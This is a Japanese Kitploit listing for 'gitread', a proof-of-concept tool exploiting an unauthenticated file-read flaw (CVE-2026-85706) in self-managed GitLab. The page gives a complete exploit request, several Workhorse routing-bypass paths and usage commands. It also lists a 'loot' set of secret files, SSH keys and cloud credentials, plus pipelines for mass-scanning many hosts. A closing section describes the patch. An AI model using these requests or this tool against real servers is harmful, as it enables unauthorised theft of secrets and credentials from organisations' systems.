Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
gitread — CVE-2026-85706 · GitLab CE/EE 未認証ファイル読み取り · oracle モード、fd 列挙、段階的ルートターゲティングを備えた研究用 PoC | Kitploit
ツール/GitHubGitHub/plur1bu5/gitread
偵察脆弱性分析エクスプロイトスクリプトと自動化ウェブアプリケーション悪用データ流出情報収集ウェブセキュリティペネトレーションテストレッドチーミング
GitHubplur1bu5/gitread

gitread

12621日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-85706 · GitLab CE/EE 未認証ファイル読み取り · oracle モード、fd 列挙、段階的ルートターゲティングを備えた研究用 PoC

リポジトリを見る

gitread

自己管理型のGitLab CE/EEに影響を与える、認証不要の任意ファイル読み取りであるCVE-2026-85706のPoC。

CVECVE-2026-85706
CVSS10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
影響を受けるバージョン18.7 から 19.1.7、19.2.0 から 19.2.5、19.3.0 から 19.3.1
修正済み19.1.8 / 19.2.6 / 19.3.2 (2026-09-10 リリース)
コンポーネントRepository Commits API / Files API (Workhorse body-upload)
報告者s3ntago via GitLab HackerOne

仕組み

3つのリポジトリAPIエンドポイントがWorkhorseのrequestBodyUploaderの背後に存在します:

POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT  /api/v4/projects/:id/repository/files/:file_path

Railsハンドラはauthenticate!の前にFile.open(params['file.path'])を呼び出します。4つの条件がこれを悪用可能にします:

1. 認証はファイル読み取りの後に発火する。 require_gitlab_workhorse!はGitlab-Workhorse-Api-Request JWTヘッダーのみをチェックします。Workhorseはプロキシするすべてのリクエスト、単純なパススルーを含めて、そのヘッダーを付与します。実際のauthenticate!はauthorize_push_to_branch!の内部にあり、これはfile_params_from_body_uploadがすでにディスクからファイルを読み取った後に実行されます。

2. file.pathはリクエストから直接取得される。 file_params_from_body_uploadはparams['file.path']を検証なしの絶対パスとして読み取ります。想定されたフローでは、Workhorseがアップロードを一時ファイルに書き込み、そのパラメータを自身で注入します。攻撃者はそれを、ファイルシステム上の任意の場所を指すクエリ文字列パラメータとして直接送信するだけです。

3. Workhorseのルートマッチングはパーセントエンコーディングをデコードしない。 Workhorseはアップロードルートを、受信した生のURLバイトであるEscapedPath()に対してマッチングします。PumaはGrapeへのルーティング前に%XXシーケンスをデコードします。そのため、静的セグメント内の1文字をエンコードすると、Workhorseはそのリライトルールをスキップする一方、Railsは依然として脆弱なハンドラにルーティングします:

POST /api/v4/projects/1/repository/commits/      (trailing slash)
POST /api/v4/projects/1/repository/%63ommits     (c -> %63)
POST /api/v4/projects/1/%72epository/commits     (r -> %72)
POST /api/v4/projects/1/repository/commits.json  (Grape format suffix)

4. Rackがエラーレスポンスにファイル内容をそのまま返す。 Content-Type: application/x-www-form-urlencodedの場合、ファイル内容はRack::Utils.parse_nested_queryに渡されます。2桁の16進数が続かない裸の%はInvalidParameterError: invalid %-encoding (<content>)を発生させます。ファイル内の最初の&までのすべてが400レスポンスボディにそのまま返されます。

裸の%を含まないファイルも、依然として認証前に読み取られます。urlencoded分岐からの401レスポンスとmultipart分岐からの500は、どちらもファイルが存在しgitユーザーによって読み取り可能であることを確認するため、存在オラクルとして有用です。

エクスプロイトリクエスト:

POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded

機能

  • --fileは任意の単一ファイルを読み取ります。エコートリガーがない場合は自動的にオラクルにフォールスルーします
  • --lootは7つのティアにわたる36のターゲットを、確認済みのエコートリガー確率順に実行します
  • --oracleはエコーのないファイルに対してデュアル分岐プローブ(urlencoded + multipart)を実行し、それぞれが読み取り可能、存在しない、または読み取り不能かを通知します
  • --procは/proc/self/fd/0-31を列挙して開いているファイルディスクリプタを見つけ、その後標準的な/proc偵察ターゲットを読み取ります
  • --shellはcat、loot、oracle、project、curlコマンドを備えた対話型ファイル読み取りシェルに入ります
  • --pipeはstdinからターゲットを読み取り、subfinder出力、httpxテキスト、httpx JSON、nuclei JSON、生のホスト行を処理します
  • --listは1行に1つずつターゲットを記述したファイルを受け取ります
  • --threadsは並行バルクスキャン用
  • --proxyはすべてをBurpまたはmitmproxy経由でルーティングします
  • --rawは装飾なしで生バイトをstdoutに書き込み、ファイルへのパイプに便利です
  • --fullはloot、oracle、procを1回のパスで実行します
  • -oによるJSONおよびJSONLレポート出力
  • 影響範囲チェック付きのGitLabバージョンフィンガープリント
  • Windowsターミナルのカラーサポート

インストール

pip install requests
python3 gitread.py -h

Python 3.10以降が必要です。その他の依存関係はありません。

使用方法

単一ターゲット

python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080

パイプライン

subfinder -d corp.com -silent \
  | httpx -silent -sc -td \
  | python3 gitread.py --pipe --loot -o hits.jsonl

subfinder -d corp.com -silent \
  | httpx -silent -json \
  | python3 gitread.py --pipe --loot -q -o hits.jsonl

python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl

cat hosts.txt | python3 gitread.py --loot

stdinがTTYでない場合は自動的に検出されるため、ほとんどの場合--pipeは省略可能です。

シェル

gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit

レスポンス判定

判定意味
leakファイル内容が400ボディにそのまま返され、読み取りが確認された
leak-fragパラメータ型エラーによる部分的なエコー
read-noechoファイルは認証前に読み取られたが、裸の%がないため何もエコーされなかった
READABLEmultipart分岐が500を返し、ファイルが存在しgitユーザーによって読み取り可能
missingサーバーがローカルファイルが存在しないと応答
rewriteWorkhorseがボディをリライトした、このバイパス形式は無効
norouteRails 404、インスタンスはパッチ済みかパスが間違っている
server-error500、ファイルは存在するがパースエラーを引き起こした

Lootティア

ティアファイルエコー
1gitlab.rb、gitlab.yml、redis.conf内容が直接リークする
2gitlab-secrets.json、secrets.yml、database.ymlオラクルのみ、純粋な16進数
3.gitlab_workhorse_secretオラクルのみ
4SSH秘密鍵とauthorized_keysオラクルのみ
5gitlab-shell.yml、gitaly.toml、PostgreSQL設定オラクルのみ
6Kubernetesサービスアカウントトークン、AWS認証情報オラクルのみ
7ホスト名、hosts、passwd、os-release、environオラクルのみ

フラグ

フラグ説明
-t、-u、--target単一のベースURL
--pipestdinからターゲットを読み取る
--list FILEターゲットのファイル
--file PATH読み取る単一の絶対パス
--loot36ターゲットの完全なloot実行
--oracleエコーのないファイルのデュアル分岐プローブ
--proc/proc fd列挙と偵察
--shellスキャン後の対話型シェル
--fullloot + oracle + proc
--project-id ID自動検出の代わりにプロジェクトIDを強制
--forceターゲットがGitLabとしてフィンガープリントされなくてもスキャン
--raw装飾なしで生バイトをstdoutに書き込む
--proxy URLHTTP/Sプロキシ
--threads Nパイプラインモードのワーカースレッド数 (デフォルト8)
--timeout Nリクエストごとのタイムアウト秒数 (デフォルト15)
-o FILEレポートを保存 (.jsonで整形配列、それ以外はJSONL)
-q、--quietヒットのみを表示
-v、--verboseすべてのプローブ試行を表示
--no-bannerバナーを抑制

終了コード: 0 リーク確認済み、1 オラクルのみまたはパイプラインでリークなし、2 何も見つからず。

パッチ

masterコミット0d9ce3e7で修正され、1fe30154 / b43c8b26 / 0ff7b6b2としてバックポートされました。

同時に3つのことが変更されました:

  1. 3つのエンドポイントすべてでauthenticate!がfile_params_from_body_uploadの前に移動され、認証されていないリクエストではファイルが読み取られなくなった
  2. file.pathは、生のクエリ文字列パラメータからではなく、有効なWorkhorse署名付きJWTを必要とするmultipartミドルウェアによって生成された型付きUploadedFileオブジェクトからのみ受け入れられるようになった
  3. InvalidParameterErrorがe.messageをレスポンスボディに補間しなくなり、最初の2つの修正を回避する方法を見つけたとしてもエコーチャネルが閉じられた

このバグは、commits APIのbody-uploadバリアントが追加されたGitLab 18.7 (2025年12月)で導入されました。


made with love by @plur1bu5 -- 役に立ったら、スターをいただけると嬉しいです

ツールをダウンロード